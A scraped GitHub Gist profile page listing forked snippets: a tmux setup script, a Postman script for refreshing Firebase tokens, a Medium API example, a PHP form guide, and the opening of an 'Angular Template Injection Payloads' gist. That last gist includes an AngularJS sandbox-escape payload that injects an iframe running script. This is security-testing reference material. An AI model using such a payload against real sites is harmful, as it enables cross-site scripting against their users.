Skip to content

Instantly share code, notes, and snippets.

View aszx87410's full-sized avatar

Huli aszx87410

View GitHub Profile
@aszx87410
aszx87410 / br.sh
Created April 1, 2016 04:13 — forked from dmkash/br.sh
Shell Script for tmux setup
#!/bin/sh
SESSION_NAME="big_red"
cd ~/Sites/within3/big_red
tmux has-session -t ${SESSION_NAME}
if [ $? != 0 ]
then
@aszx87410
aszx87410 / firebase_pre-request_script.js
Created January 10, 2018 09:31 — forked from moneal/firebase_pre-request_script.js
Postman pre-request script to create a Firebase authentication JWT header.
/**
* This script expects the global variables 'refresh_token' and 'firebase_api_key' to be set. 'firebase_api_key' can be found
* in the Firebase console under project settings then 'Web API Key'.
* 'refresh_token' as to be gathered from watching the network requests to https://securetoken.googleapis.com/v1/token from
* your Firebase app, look for the formdata values
*
* If all the data is found it makes a request to get a new token and sets a 'auth_jwt' environment variable and updates the
* global 'refresh_token'.
*
* Requests that need authentication should have a header with a key of 'Authentication' and value of '{{auth_jwt}}'
@aszx87410
aszx87410 / firebase_pre-request_script.js
Created January 10, 2018 09:31 — forked from moneal/firebase_pre-request_script.js
Postman pre-request script to create a Firebase authentication JWT header.
/**
* This script expects the global variables 'refresh_token' and 'firebase_api_key' to be set. 'firebase_api_key' can be found
* in the Firebase console under project settings then 'Web API Key'.
* 'refresh_token' as to be gathered from watching the network requests to https://securetoken.googleapis.com/v1/token from
* your Firebase app, look for the formdata values
*
* If all the data is found it makes a request to get a new token and sets a 'auth_jwt' environment variable and updates the
* global 'refresh_token'.
*
* Requests that need authentication should have a header with a key of 'Authentication' and value of '{{auth_jwt}}'
@aszx87410
aszx87410 / mediumUsersFollowedByCount.js
Created June 30, 2019 21:32 — forked from newhouse/mediumUsersFollowedByCount.js
Medium API: get number of followers for User
/**
* Example of how to get the number of followers for a Medium.com User.
*
*
* Related links:
* https://github.com/Medium/medium-api-docs/issues/30#issuecomment-227911763
* https://github.com/Medium/medium-api-docs/issues/73
*/
// LODASH
@aszx87410
aszx87410 / php_form_submit.md
Created October 5, 2020 15:11 — forked from jesperorb/php_form_submit.md
PHP form submitting with fetch + async/await

PHP Form submitting

If we have the following structure in our application:

  • 📁 application_folder_name
    • 📄 index.php
    • 📄 handle_form.php
    • 📄 main.js

And we fill our index.php with the following content just to get a basic website with a form working. You should be able to run this through a php-server of your choice.

@aszx87410
aszx87410 / AngularTI.md
Created August 18, 2021 07:43 — forked from mccabe615/AngularTI.md
Angular Template Injection Payloads

1.3.2 and below

{{7*7}}

'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';